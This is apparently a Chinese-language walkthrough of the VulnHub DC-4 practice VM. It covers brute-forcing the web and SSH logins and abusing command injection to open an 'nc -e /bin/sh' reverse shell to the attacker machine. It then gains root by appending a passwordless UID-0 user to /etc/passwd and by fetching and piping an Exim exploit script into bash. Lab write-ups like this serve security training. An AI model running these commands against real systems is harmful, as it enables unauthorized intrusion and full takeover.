Vulnhnb刷题-DC-4

下载后,导入VMware打开,设置网络连接为NAT,拍摄一个快照防止环境损坏,即可开始攻击。

1、信息收集
arp-scan --interface=eth0 192.168.119.0/24 //扫描本地网络中存活主机

image-20230707165940158

IP信息:

攻击机:192.168.119.128

靶机:192.168.119.153

靶机端口情况:

nmap -sV -T4 -A 192.168.119.153 //扫描端口和服务信息

image-20230707195542692

web情况:

无CMS服务或框架,就一个登录界面,并提示使用admin账号image-20230707195902079

2、找突破点,想办法拿到shell

从端口来看,22端口一般都是爆破。可利用的一般都是80,也就是web界面,可以尝试sql注入。但经过sqlmap扫一遍和人工测试发现,不存在注入。那就爆破看看,毕竟也是提示了用户名。使用kali的自带的字典先试试。

BP抓包:image-20230707200351799

发送到攻击模块,并设置password为变量:image-20230707200449540

使用字典是:/usr/share/john/password.lstimage-20230707200755330

让它跑起来,直接看返回文本长度:image-20230707200901038

image-20230707200959889

拿到后台账号密码:

账号:admin

密码:happy

登录看看后台有没有可以利用的地方:image-20230707201127498

image-20230707201223590

发现有命令执行的地方,抓包看看是不是可控的:

image-20230707201313867

发现是可以控制的,测试一下功能正常不,修改执行的命令为whoami,看看可以获取到用户不:image-20230707201434396

发现前端返回正常,那就直接监听端口,反弹shell

image-20230707201540663

3、反弹shell

监听端口:

nc -lvvp 8888

image-20230707201733686

将web中的命令执行部分修改为:nc -e /bin/sh 192.168.119.128 8888即可反弹shell

image-20230707201945607

image-20230707201956569

修改本地shell为交互式

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230707202037067

寻找提权点:

4、提权
方法1:

在用户目录/home/jim/backups中发现一个old-passwords.bak文件,查看后发现是给的是旧密码,使用ssh爆破攻击跑密码看看:image-20230707202553891

使用最简单的办法,直接复制粘贴,本地新建passwd.txt文件:

image-20230707202658527

找到用户名了,使用工具爆破密码:

使用hydra工具:

Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。

以下是 Hydra 的基本用法示例:

hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>

其中:

  • <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
  • <密码列表文件>:包含要尝试的密码的文件路径。
  • <目标IP地址>:要破解的目标主机的 IP 地址。
  • <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
  • <端口号>:目标服务的端口号,默认为协议的默认端口号。
  • <线程数>:用于并发尝试的线程数,默认为 16。

例如,要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:

hydra -l admin -P password.txt 192.168.1.100 ssh

上述命令将尝试使用用户名 "admin" 和密码列表文件 "password.txt" 对 IP 地址为 "192.168.1.100" 的主机进行 SSH 登录破解。

 hydra -l jim -P /home/kali/Desktop/passwd.txt 192.168.119.153 ssh

image-20230707203009174

爆破成功:image-20230707203233674

ssh账号密码:

账号:jim

密码:jibril04

直接使用ssh登录

ssh jim@192.168.119.153

image-20230707203449658

成功进入后台,并发现提示,有邮件,看看邮件内容有啥东西

image-20230707203638641

翻译过来的意思就是,Charles这个人要出去了,然后老板让把Charles这个的密码给jim,那就尝试登录看看,发现Charles登录不了,使用charles即可登录:

image-20230707203823288

使用sudo -l 看看这个用户有啥权限没有

image-20230707203914733

发现有teehee命令,但是百度发现这个是一个自定义的命令,那就运行看看,有啥功能

image-20230707204649247

发现teehee中的-a 可以不覆盖文件的形式追加内容,那么我们直接尝试追加一个用户到 /etc/passwd中:

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

对于admin::0:0:::/bin/bash的解释

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

也就是我们新建了一个admin账号,隶属于root用户组,但是没有设置密码。

image-20230707205405250

新建成功后直接切换用户,即可拿到root用户:

寻找 flag文件

image-20230707205558113

攻下:image-20230707205641888

方法3:

查询我们的本地shell有什么权限:

find / -user root -perm -4000 -print 2>/dev/null

image-20230708091227515

发现常见的exim4 ,看看可以使用这个漏洞不,先查看一下版本信息:exim4 --version

image-20230708091335691

搜索看看有啥可用的漏洞信息:searchsploit exim 4

image-20230708091436331

发现只有满足版本要求,传上去看看。

使用python打开http服务 映射本地文件 python -m http.server

在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载wget http://192.168.119.128:8000/46996.sh | bash

然后给46996.sh权限 chmod +x ./46996.sh

等待一会就可以拿到权限:image-20230708092121534

image-20230708092142639

同样的可以拿下靶机:image-20230708092214908

5、总结

1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。

2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。

3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。